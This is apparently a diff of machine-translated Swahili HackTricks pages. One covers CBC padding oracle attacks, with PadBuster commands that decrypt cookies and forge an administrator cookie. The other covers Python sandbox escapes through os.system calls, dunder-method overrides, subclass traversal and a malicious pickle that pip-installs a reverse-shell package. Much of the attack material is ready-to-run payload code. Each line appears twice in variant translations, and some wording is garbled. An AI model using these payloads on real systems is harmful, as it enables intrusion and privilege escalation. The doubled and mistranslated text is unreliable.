Katika hali ya CBC, **block iliyosimbwa ya awali inatumika kama IV** ili XOR na block inayofuata:
|
||||
|
||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
Kufichua CBC **operesheni za kinyume** hufanywa:
|
||||
Ili kufungua CBC, **operesheni** **za kinyume** zinafanywa:
|
||||
|
||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
Tambua jinsi inavyohitajika kutumia **ufunguo wa kufichua** na **IV**.
|
||||
Tazama jinsi inavyohitajika kutumia **ufunguo wa usimbaji** na **IV**.
|
||||
|
||||
# Kupangilia Ujumbe
|
||||
# Message Padding
|
||||
|
||||
Kwa kuwa kufichua kunafanywa katika **blocki zenye saizi** **zilizowekwa**, **padding** mara nyingi inahitajika katika **blocki ya mwisho** ili kukamilisha urefu wake.\
|
||||
Kawaida **PKCS7** hutumiwa, ambayo inazalisha padding **inayorudia** **idadi** ya **bayti** **inayohitajika** **kukamilisha** blocki. Kwa mfano, ikiwa blocki ya mwisho inakosa bayti 3, padding itakuwa `\x03\x03\x03`.
|
||||
Kadri usimbaji unavyofanywa katika **blocks za ukubwa** **uliowekwa**, **padding** mara nyingi inahitajika katika **block ya mwisho** kukamilisha urefu wake.\
|
||||
Mara nyingi **PKCS7** inatumika, ambayo inazalisha padding **ikirejelea** **idadi** ya **bytes** **zinazohitajika** kukamilisha block. Kwa mfano, ikiwa block ya mwisho inakosa bytes 3, padding itakuwa `\x03\x03\x03`.
|
||||
|
||||
Tuangalie mifano zaidi na **blocki 2 zenye urefu wa bayti 8**:
|
||||
Hebu tuangalie mifano zaidi na **blocks 2 za urefu wa 8bytes**:
|
||||
|
||||
| bayti #0 | bayti #1 | bayti #2 | bayti #3 | bayti #4 | bayti #5 | bayti #6 | bayti #7 | bayti #0 | bayti #1 | bayti #2 | bayti #3 | bayti #4 | bayti #5 | bayti #6 | bayti #7 |
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Tambua jinsi katika mfano wa mwisho **blocki ya mwisho ilikuwa kamili hivyo nyingine ilizalishwa tu na padding**.
|
||||
Kumbuka jinsi katika mfano wa mwisho **block ya mwisho ilikuwa kamili hivyo nyingine ilizalishwa tu na padding**.
|
||||
|
||||
# Oracle ya Padding
|
||||
# Padding Oracle
|
||||
|
||||
Wakati programu inafichua data iliyofichwa, kwanza itaifichua data; kisha itaondoa padding. Wakati wa kusafisha padding, ikiwa **padding batili inachochea tabia inayoweza kugundulika**, una **udhaifu wa oracle ya padding**. Tabia inayoweza kugundulika inaweza kuwa **kosa**, **ukosefu wa matokeo**, au **jibu polepole**.
|
||||
Wakati programu inafungua data iliyosimbwa, itaanza kwa kufungua data; kisha itatoa padding. Wakati wa kusafisha padding, ikiwa **padding isiyo sahihi inasababisha tabia inayoweza kugundulika**, una **udhaifu wa padding oracle**. Tabia inayoweza kugundulika inaweza kuwa **kosa**, **ukosefu wa matokeo**, au **jibu lenye mwendo polepole**.
|
||||
|
||||
Ukigundua tabia hii, unaweza **kufichua data iliyofichwa** na hata **kuficha maandishi wazi**.
|
||||
Ikiwa unagundua tabia hii, unaweza **kufungua data iliyosimbwa** na hata **kusimbwa kwa maandiko yoyote**.
|
||||
|
||||
## Jinsi ya kutumia
|
||||
|
||||
Unaweza kutumia [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kudukua aina hii ya udhaifu au tu fanya
|
||||
Unaweza kutumia [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kutumia udhaifu huu au tu kufanya
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
Ili kujaribu kama kuki ya tovuti ina mapungufu unaweza kujaribu:
|
||||
Ili kujaribu kama cookie ya tovuti ina udhaifu unaweza kujaribu:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Ukodishaji 0** maana yake **base64** inatumika (ingawa nyingine zinapatikana, angalia menyu ya msaada).
|
||||
**Encoding 0** inamaanisha kwamba **base64** inatumika (lakini zingine zinapatikana, angalia menyu ya msaada).
|
||||
|
||||
Unaweza pia **kutumia udhaifu huu kwa kuficha data mpya. Kwa mfano, fikiria maudhui ya kuki ni "**_**mtumiaji=JinaLanguLaMtumiaji**_**", basi unaweza kubadilisha kuwa "\_mtumiaji=msimamizi\_" na kuinua mamlaka ndani ya programu. Unaweza pia kufanya hivyo ukitumia `paduster` ukielekeza kipengele cha -plaintext:**
|
||||
Unaweza pia **kutumia udhaifu huu kuandika data mpya. Kwa mfano, fikiria kwamba maudhui ya cookie ni "**_**user=MyUsername**_**", kisha unaweza kubadilisha kuwa "\_user=administrator\_" na kuongeza mamlaka ndani ya programu. Unaweza pia kufanya hivyo kwa kutumia `paduster`ukitaja -plaintext** parameter:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
Ikiwa tovuti ina kasoro, `padbuster` itajaribu moja kwa moja kugundua wakati kosa la padding linatokea, lakini unaweza pia kuashiria ujumbe wa kosa kwa kutumia parameter **-error**.
|
||||
Ikiwa tovuti ina udhaifu, `padbuster` itajaribu moja kwa moja kubaini wakati kosa la padding linapotokea, lakini unaweza pia kuashiria ujumbe wa kosa hilo ukitumia parameter ya **-error**.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## Nadharia
|
||||
|
||||
Kwa **muhtasari**, unaweza kuanza kufichua data iliyofichwa kwa kudhani thamani sahihi ambazo zinaweza kutumika kuunda **paddings tofauti** zote. Kisha, shambulio la oracle la padding litianza kufichua bytes kutoka mwisho hadi mwanzo kwa kudhani ni thamani sahihi ambayo **inaunda padding ya 1, 2, 3, nk**.
|
||||
Kwa **muhtasari**, unaweza kuanza kufichua data iliyofichwa kwa kukisia thamani sahihi ambazo zinaweza kutumika kuunda **padding tofauti**. Kisha, shambulio la padding oracle litaanza kufichua byte kutoka mwisho hadi mwanzo kwa kukisia ni ipi itakuwa thamani sahihi inayounda padding ya **1, 2, 3, n.k.**.
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
Fikiria una maandishi yaliyofichwa ambayo yanachukua **vikundi 2** vilivyoundwa na bytes kutoka **E0 hadi E15**.\
|
||||
Ili **kufichua** **kikundi cha mwisho** (**E8** hadi **E15**), kikundi nzima hupitia "ufichuaji wa block cipher" ukizalisha **bytes za kati I0 hadi I15**.\
|
||||
Hatimaye, kila byte ya kati inafanyiwa **XOR** na bytes zilizofichwa hapo awali (E0 hadi E7). Hivyo:
|
||||
Fikiria una maandiko yaliyofichwa yanayochukua **blocks 2** yaliyoundwa na byte kutoka **E0 hadi E15**.\
|
||||
Ili **kufichua** **block** ya **mwisho** (**E8** hadi **E15**), block nzima inapita kupitia "block cipher decryption" ikizalisha **byte za kati I0 hadi I15**.\
|
||||
Hatimaye, kila byte ya kati inafanywa **XOR** na byte zilizofichwa za awali (E0 hadi E7). Hivyo:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
@ -84,27 +88,47 @@ Hatimaye, kila byte ya kati inafanyiwa **XOR** na bytes zilizofichwa hapo awali
|
|||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
Sasa, Inawezekana **kurekebisha `E7` hadi `C15` iwe `0x01`**, ambayo pia itakuwa padding sahihi. Hivyo, katika kesi hii: `\x01 = I15 ^ E'7`
|
||||
Sasa, inawezekana **kubadilisha `E7` hadi `C15` iwe `0x01`**, ambayo pia itakuwa padding sahihi. Hivyo, katika kesi hii: `\x01 = I15 ^ E'7`
|
||||
|
||||
Hivyo, kwa kupata E'7, ni **inawezekana kuhesabu I15**: `I15 = 0x01 ^ E'7`
|
||||
Hivyo, kupata E'7, inawezekana **kuyakadiria I15**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Hii inaruhusu sisi **kuhesabu C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
Ambayo inaturuhusu **kuyakadiria C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Kwa kujua **C15**, sasa ni **inawezekana kuhesabu C14**, lakini wakati huu kwa kubadilisha padding `\x02\x02`.
|
||||
Kujua **C15**, sasa inawezekana **kuyakadiria C14**, lakini wakati huu kwa kutumia brute-force padding `\x02\x02`.
|
||||
|
||||
BF hii ni ngumu kama ile ya awali kwani inawezekana kuhesabu **`E''15` ambayo thamani yake ni 0x02: `E''7 = \x02 ^ I15` hivyo ni muhimu tu kupata **`E'14`** ambayo inazalisha **`C14` sawa na `0x02`**.\
|
||||
Kisha, fanya hatua sawa kufichua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
Hii BF ni ngumu kama ile ya awali kwani inawezekana kuyakadiria `E''15` ambayo thamani yake ni 0x02: `E''7 = \x02 ^ I15` hivyo inahitajika tu kupata **`E'14`** inayozalisha **`C14` inayolingana na `0x02`**.\
|
||||
Kisha, fanya hatua hizo hizo kufichua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Fuata mnyororo huu hadi ufichue maandishi yote yaliyofichwa.**
|
||||
**Fuata mnyororo huu hadi ufichue maandiko yote yaliyofichwa.**
|
||||
|
||||
## Kugundua udhaifu
|
||||
## Ugunduzi wa udhaifu
|
||||
|
||||
Jisajili na akaunti na ingia kwa akaunti hiyo.\
|
||||
Ikiwa **unaingia mara nyingi** na daima unapata **cookie ile ile**, kuna uwezekano **kitu** **hakiko sawa** katika programu. Cookie inayotumwa inapaswa kuwa **tofauti** kila wakati unapoingia. Ikiwa cookie ni **ile ile daima**, itakuwa inawezekana daima kuwa halali na **hakutakuwa na njia ya kuitengua**.
|
||||
Jisajili na ujiandikishe na akaunti hii.\
|
||||
Ikiwa unafanya **kuingia mara nyingi** na kila wakati unapata **keki ile ile**, kuna uwezekano wa **kitu** **kosi** katika programu. **Keki inayotumwa nyuma inapaswa kuwa ya kipekee** kila wakati unapoingia. Ikiwa keki ni **daima** ile **ile**, kuna uwezekano itakuwa daima halali na hakuna **njia ya kuifuta**.
|
||||
|
||||
Sasa, ikiwa jaribu **kurekebisha** **cookie**, utaona unapata **kosa** kutoka kwa programu.\
|
||||
Lakini ikiwa unatumia BF ya padding (kwa kutumia padbuster kwa mfano) unaweza kupata cookie nyingine halali kwa mtumiaji tofauti. Hali hii inawezekana sana kuwa na udhaifu wa padbuster.
|
||||
Sasa, ikiwa unajaribu **kubadilisha** **keki**, unaweza kuona unapata **kosa** kutoka kwa programu.\
|
||||
Lakini ikiwa unafanya BF padding (ukitumia padbuster kwa mfano) unafanikiwa kupata keki nyingine halali kwa mtumiaji tofauti. Hali hii ina uwezekano mkubwa wa kuwa na udhaifu kwa padbuster.
|
||||
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,11 +15,21 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
|
||||
Hizi ni baadhi ya mbinu za kupita kinga za sanduku la python na kutekeleza amri zisizo na mipaka.
|
||||
|
||||
## Maktaba za Kutekeleza Amri
|
||||
## Command Execution Libraries
|
||||
|
||||
Jambo la kwanza unahitaji kujua ni kama unaweza kutekeleza moja kwa moja msimbo na maktaba ambayo tayari imeagizwa, au kama unaweza kuagiza yoyote ya hizi maktaba:
|
||||
Jambo la kwanza unahitaji kujua ni kama unaweza kutekeleza moja kwa moja msimbo na maktaba ambayo tayari imeagizwa, au kama unaweza kuagiza mojawapo ya hizi maktaba:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -52,22 +62,22 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Kumbuka kwamba _**open**_ na _**read**_ kazi zinaweza kuwa na manufaa ili **kusoma faili** ndani ya sandbox ya python na **kuandika baadhi ya msimbo** ambao unaweza **kutekeleza** ili **kuepuka** sandbox.
|
||||
Kumbuka kwamba _**open**_ na _**read**_ kazi zinaweza kuwa na manufaa kusoma **faili** ndani ya python sandbox na kuandika **kodi** ambayo unaweza **kutekeleza** ili **kuzidi** sandbox.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Python2 input()** kazi inaruhusu kutekeleza msimbo wa python kabla ya programu kuanguka.
|
||||
**Python2 input()** kazi inaruhusu kutekeleza kodi ya python kabla ya programu kuanguka.
|
||||
{% endhint %}
|
||||
|
||||
Python hujaribu **kuchota maktaba kutoka kwa saraka ya sasa kwanza** (amri ifuatayo itachapisha mahali python inachota moduli kutoka): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
![](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## Kuepuka sandbox ya pickle na pakiti za python zilizowekwa kwa default
|
||||
## Kuzidi pickle sandbox na pakiti za python zilizowekwa kwa default
|
||||
|
||||
### Pakiti za default
|
||||
|
||||
Unaweza kupata **orodha ya pakiti zilizowekwa awali** hapa: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Kumbuka kwamba kutoka kwa pickle unaweza kufanya mazingira ya python **kuagiza maktaba zisizo za kawaida** zilizowekwa katika mfumo.\
|
||||
Kumbuka kwamba kutoka kwa pickle unaweza kufanya mazingira ya python **kuagiza maktaba za kawaida** zilizowekwa kwenye mfumo.\
|
||||
Kwa mfano, pickle ifuatayo, itakapochukuliwa, itakuwa inagiza maktaba ya pip kuitumia:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
|
@ -97,13 +107,13 @@ You can download the package to create the reverse shell here. Please, note that
|
|||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
|
||||
Hii pakiti inaitwa `Reverse`. Hata hivyo, ilitengenezwa mahsusi ili wakati unapotoka kwenye reverse shell, sehemu nyingine ya usakinishaji itashindwa, hivyo **hutaacha pakiti ya ziada ya python iliyosakinishwa kwenye seva** unapondoka.
|
||||
{% endhint %}
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)
|
||||
Kumbuka kwamba exec inaruhusu nyuzi nyingi na ";", lakini eval haifanyi hivyo (angalia opereta wa walrus)
|
||||
{% endhint %}
|
||||
|
||||
If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction:
|
||||
|
@ -141,7 +151,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
|||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
## Wanaendesha na hila fupi
|
||||
## Wanaoperesheni na hila fupi
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
|
@ -152,7 +162,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
|
||||
Katika [**hii ripoti**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 inatumika kupakia na kutekeleza msimbo wa python wa kawaida ndani ya sandbox inayonekana:
|
||||
Katika [**hii ripoti**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 inatumika kupakia na kutekeleza msimbo wa python wa kiholela ndani ya sandbox inayonekana:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -191,13 +201,13 @@ X = exec(X)
|
|||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE kuunda vitu na kupita
|
||||
### RCE kuunda vitu na kupita kiasi
|
||||
|
||||
Ikiwa unaweza **kutangaza darasa** na **kuunda kitu** cha darasa hilo unaweza **kuandika/kupita mbinu tofauti** ambazo zinaweza **kuchochewa** **bila** **kuhitaji kuziita moja kwa moja**.
|
||||
Ikiwa unaweza **kutangaza darasa** na **kuunda kitu** cha darasa hilo unaweza **kuandika/kupita kiasi mbinu tofauti** ambazo zinaweza **kuchochewa** **bila** **kuhitaji kuziita moja kwa moja**.
|
||||
|
||||
#### RCE na madarasa ya kawaida
|
||||
|
||||
Unaweza kubadilisha baadhi ya **mbinu za darasa** (_kwa kupita mbinu za darasa zilizopo au kuunda darasa jipya_) ili kufanya ziweze **kutekeleza msimbo wa kiholela** wakati **zinapochochewa** bila kuziita moja kwa moja.
|
||||
Unaweza kubadilisha baadhi ya **mbinu za darasa** (_kwa kupita kiasi mbinu za darasa zilizopo au kuunda darasa jipya_) ili kufanya ziweze **kutekeleza msimbo wa kiholela** wakati **zinapochochewa** bila kuziita moja kwa moja.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -247,7 +257,7 @@ __iand__ (k = 'import os; os.system("sh")')
|
|||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Kuunda vitu na [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni **kuunda mfano wa darasa, bila kuita mjenzi** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
||||
```python
|
||||
|
@ -322,17 +332,17 @@ pass
|
|||
* [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Ikiwa unaweza kufikia kitu **`__builtins__`** unaweza kuagiza maktaba (zingatia kwamba unaweza pia kutumia hapa uwakilishi mwingine wa mfuatano ulioonyeshwa katika sehemu ya mwisho):
|
||||
Ikiwa unaweza kufikia kipengee cha **`__builtins__`** unaweza kuagiza maktaba (zingatia kwamba unaweza pia kutumia hapa uwakilishi mwingine wa mfuatano ulioonyeshwa katika sehemu ya mwisho):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
|
||||
Wakati huna `__builtins__` huwezi kuweza kuagiza chochote wala hata kusoma au kuandika faili kwani **kazi zote za kimataifa** (kama `open`, `import`, `print`...) **hazijapakiwa**.\
|
||||
Wakati huna `__builtins__` huwezi kuagiza chochote wala kusoma au kuandika faili kwani **kazi zote za kimataifa** (kama `open`, `import`, `print`...) **hazijapakiwa**.\
|
||||
Hata hivyo, **kwa kawaida python inaagiza moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia zinaagiza** kazi hatari ndani yao ambazo zinaweza kufikiwa ili kupata hata **utendaji wa msimbo wa kiholela**.
|
||||
|
||||
Katika mifano ifuatayo unaweza kuona jinsi ya **kudhulumu** baadhi ya hizi moduli "**salama**" zilizopakiwa ili **kufikia** **kazi** **hatari** ndani yao.
|
||||
Katika mifano ifuatayo unaweza kuona jinsi ya **kukandamiza** baadhi ya hizi moduli "**salama**" zilizopakiwa ili **kufikia** **kazi** **hatari** ndani yao.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -392,7 +402,7 @@ __builtins__["__import__"]("os").system("ls")
|
|||
```
|
||||
## Globals and locals
|
||||
|
||||
Kuangalia **`globals`** na **`locals`** ni njia nzuri ya kujua kile unachoweza kufikia.
|
||||
Kuangalia **`globals`** na **`locals`** ni njia nzuri ya kujua ni nini unaweza kufikia.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
|
@ -454,7 +464,7 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```
|
||||
### Kutafuta maktaba hatari zilizopakiwa
|
||||
|
||||
Kwa mfano, kujua kwamba kwa kutumia maktaba **`sys`** inawezekana **kuagiza maktaba zisizo na mipaka**, unaweza kutafuta **moduli zote zilizopakiwa ambazo zinaagiza sys ndani yao**:
|
||||
Kwa mfano, kujua kwamba kwa kutumia maktaba **`sys`** inawezekana **kuagiza maktaba zisizo na mipaka**, unaweza kutafuta **moduli zote zilizopakiwa ambazo zimeagiza sys ndani yao**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
|
@ -517,7 +527,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
Zaidi ya hayo, ikiwa unafikiri **maktaba nyingine** zinaweza **kuita kazi kutekeleza amri**, tunaweza pia **kuchuja kwa majina ya kazi** ndani ya maktaba zinazowezekana:
|
||||
Zaidi ya hayo, ikiwa unafikiri **maktaba nyingine** zinaweza **kuitisha kazi za kutekeleza amri**, tunaweza pia **kuchuja kwa majina ya kazi** ndani ya maktaba zinazowezekana:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
@ -678,7 +688,7 @@ You can check the output of this script on this page:
|
|||
|
||||
## Python Format String
|
||||
|
||||
Ikiwa unatumia **string** kwa python ambayo itafanywa **formatted**, unaweza kutumia `{}` kufikia **habari za ndani za python.** Unaweza kutumia mifano ya awali kufikia globals au builtins kwa mfano.
|
||||
Ikiwa unatumia **string** kwa python ambayo itafanywa **formatted**, unaweza kutumia `{}` kufikia **python internal information.** Unaweza kutumia mifano ya awali kufikia globals au builtins kwa mfano.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -700,7 +710,7 @@ get_name_for_avatar(st, people_obj = people)
|
|||
```
|
||||
Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
|
||||
|
||||
Pia kumbuka kwamba unaweza kutumia `.__dict__` kuhesabu vipengele vya kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Pia kumbuka kwamba unaweza kutumia `.__dict__` kuorodhesha vipengele vya kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Baadhi ya sifa nyingine za kuvutia kutoka kwa format strings ni uwezekano wa **executing** the **functions** **`str`**, **`repr`** na **`ascii`** katika kitu kilichotajwa kwa kuongeza **`!s`**, **`!r`**, **`!a`** mtawalia:
|
||||
```python
|
||||
|
@ -721,14 +731,14 @@ return 'HAL 9000'
|
|||
**Mifano zaidi** kuhusu **format** **string** mifano inaweza kupatikana katika [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma **habari nyeti kutoka kwa vitu vya ndani vya Python**:
|
||||
Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma taarifa nyeti kutoka kwa vitu vya ndani vya Python:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
